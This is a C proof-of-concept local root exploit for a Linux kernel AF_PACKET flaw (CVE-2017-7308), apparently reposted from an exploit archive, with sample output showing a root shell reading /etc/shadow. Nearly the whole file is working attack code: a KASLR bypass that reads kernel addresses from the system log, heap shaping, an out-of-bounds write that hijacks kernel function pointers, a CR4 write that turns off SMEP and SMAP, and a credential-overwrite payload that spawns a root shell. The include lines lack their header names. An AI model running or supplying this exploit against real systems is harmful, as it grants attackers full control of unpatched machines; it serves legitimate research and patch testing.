// A proof-of-concept local root exploit for CVE-2017-7308. // Includes a SMEP & SMAP bypass. // Tested on 4.8.0-41-generic Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308 // // Usage: // [email protected]:~$ uname -a // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ... // [email protected]:~$ gcc pwn.c -o pwn // [email protected]:~$ ./pwn // [.] starting // [.] namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [.] done, kernel text: ffffffff87000000 // [.] commit_creds: ffffffff870a5cf0 // [.] prepare_kernel_cred: ffffffff870a60e0 // [.] native_write_cr4: ffffffff87064210 // [.] padding heap // [.] done, heap is padded // [.] SMEP & SMAP bypass enabled, turning them off // [.] done, SMEP & SMAP should be off now // [.] executing get root payload 0x401516 // [.] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // [email protected]:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // ... // // Andrey Konovalov <[email protected]> #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_SMAP_BYPASS 1 // Will be overwritten if ENABLE_KASLR_BYPASS unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Kernel symbol offsets #define COMMIT_CREDS 0xa5cf0ul #define PREPARE_KERNEL_CRED 0xa60e0ul #define NATIVE_WRITE_CR4 0x64210ul // Should have SMEP and SMAP bits disabled #define CR4_DESIRED_VALUE 0x407f0ul #define KMALLOC_PAD 512 #define PAGEALLOC_PAD 1024 // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * typedef uint32_t u32; // $ pahole -C hlist_node ./vmlinux struct hlist_node { struct hlist_node * next; /* 0 8 */ struct hlist_node * * pprev; /* 8 8 */ }; // $ pahole -C timer_list ./vmlinux struct timer_list { struct hlist_node entry; /* 0 16 */ long unsigned int expires; /* 16 8 */ void (*function)(long unsigned int); /* 24 8 */ long unsigned int data; /* 32 8 */ u32 flags; /* 40 4 */ int start_pid; /* 44 4 */ void * start_site; /* 48 8 */ char start_comm[16]; /* 56 16 */ }; // packet_sock->rx_ring->prb_bdqc->retire_blk_timer #define TIMER_OFFSET 896 // pakcet_sock->xmit #define XMIT_OFFSET 1304 // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) { perror("[-] setsockopt(PACKET_VERSION)"); exit(EXIT_FAILURE); } struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) { perror("[-] setsockopt(PACKET_RX_RING)"); exit(EXIT_FAILURE); } } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) { perror("[-] socket(AF_PACKET)"); exit(EXIT_FAILURE); } packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) { perror("[-] bind(AF_PACKET)"); exit(EXIT_FAILURE); } return s; } void packet_socket_send(int s, char *buffer, int size) { struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_halen = ETH_ALEN; if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("[-] sendto(SOCK_RAW)"); exit(EXIT_FAILURE); } } void loopback_send(char *buffer, int size) { int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { perror("[-] socket(SOCK_RAW)"); exit(EXIT_FAILURE); } packet_socket_send(s, buffer, size); } int packet_sock_kmalloc() { int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); if (s == -1) { perror("[-] socket(SOCK_DGRAM)"); exit(EXIT_FAILURE); } return s; } void packet_sock_timer_schedule(int s, int timeout) { packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); } void packet_sock_id_match_trigger(int s) { char buffer[16]; packet_socket_send(s, &buffer[0], sizeof(buffer)); } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define ALIGN(x, a) __ALIGN_KERNEL((x), (a)) #define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1) #define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask)) #define V3_ALIGNMENT (8) #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) #define ETH_HDR_LEN sizeof(struct ethhdr) #define IP_HDR_LEN sizeof(struct iphdr) #define UDP_HDR_LEN sizeof(struct udphdr) #define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN) int oob_setup(int offset) { unsigned int maclen = ETH_HDR_LEN; unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN + (maclen < 16 ? 16 : maclen)); unsigned int macoff = netoff - maclen; unsigned int sizeof_priv = (1u<<31) + (1u<<30) + 0x8000 - BLK_HDR_LEN - macoff + offset; return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); } void oob_write(char *buffer, int size) { loopback_send(buffer, size); } void oob_timer_execute(void *func, unsigned long arg) { oob_setup(2048 + TIMER_OFFSET - 8); int i; for (i = 0; i < 32; i++) { int timer = packet_sock_kmalloc(); packet_sock_timer_schedule(timer, 1000); } char buffer[2048]; memset(&buffer[0], 0, sizeof(buffer)); struct timer_list *timer = (struct timer_list *)&buffer[8]; timer->function = func; timer->data = arg; timer->flags = 1; oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); sleep(1); } void oob_id_match_execute(void *func) { int s = oob_setup(2048 + XMIT_OFFSET - 64); int ps[32]; int i; for (i = 0; i < 32; i++) ps[i] = packet_sock_kmalloc(); char buffer[2048]; memset(&buffer[0], 0, 2048); void **xmit = (void **)&buffer[64]; *xmit = func; oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2); for (i = 0; i < 32; i++) packet_sock_id_match_trigger(ps[i]); } // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * * void kmalloc_pad(int count) { int i; for (i = 0; i < count; i++) packet_sock_kmalloc(); } void pagealloc_pad(int count) { packet_socket_setup(0x8000, 2048, count, 0, 100); } // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); void get_root_payload(void) { ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))( ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0) ); } // * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 unsigned long get_kernel_addr() { int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (size == -1) { perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); exit(EXIT_FAILURE); } size = (size / getpagesize() + 1) * getpagesize(); char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size); if (size == -1) { perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); exit(EXIT_FAILURE); } const char *needle1 = "Freeing SMP"; char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); exit(EXIT_FAILURE); } for (size = 0; substr[size] != '\n'; size++); const char *needle2 = "ffff"; substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void exec_shell() { char *shell = "/bin/bash"; char *args[] = {shell, "-i", NULL}; execve(shell, args, NULL); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { perror("[-] fork()"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); } } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { printf("[.] checking if we got root\n"); if (!is_root()) { printf("[-] something went wrong =(\n"); return; } printf("[+] got r00t ^_^\n"); // Fork and exec instead of just doing the exec to avoid potential // memory corruptions when closing packet sockets. fork_shell(); } bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("[-] system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } } int main() { printf("[.] starting\n"); setup_sandbox(); printf("[.] namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS printf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); printf("[.] done, kernel text: %lx\n", KERNEL_BASE); #endif printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS); printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); #if ENABLE_SMEP_SMAP_BYPASS printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); #endif printf("[.] padding heap\n"); kmalloc_pad(KMALLOC_PAD); pagealloc_pad(PAGEALLOC_PAD); printf("[.] done, heap is padded\n"); #if ENABLE_SMEP_SMAP_BYPASS printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); printf("[.] done, SMEP & SMAP should be off now\n"); #endif printf("[.] executing get root payload %p\n", &get_root_payload); oob_id_match_execute((void *)&get_root_payload); printf("[.] done, should be root now\n"); check_root(); while (1) sleep(1000); return 0; } # 0day.today [2018-04-01] #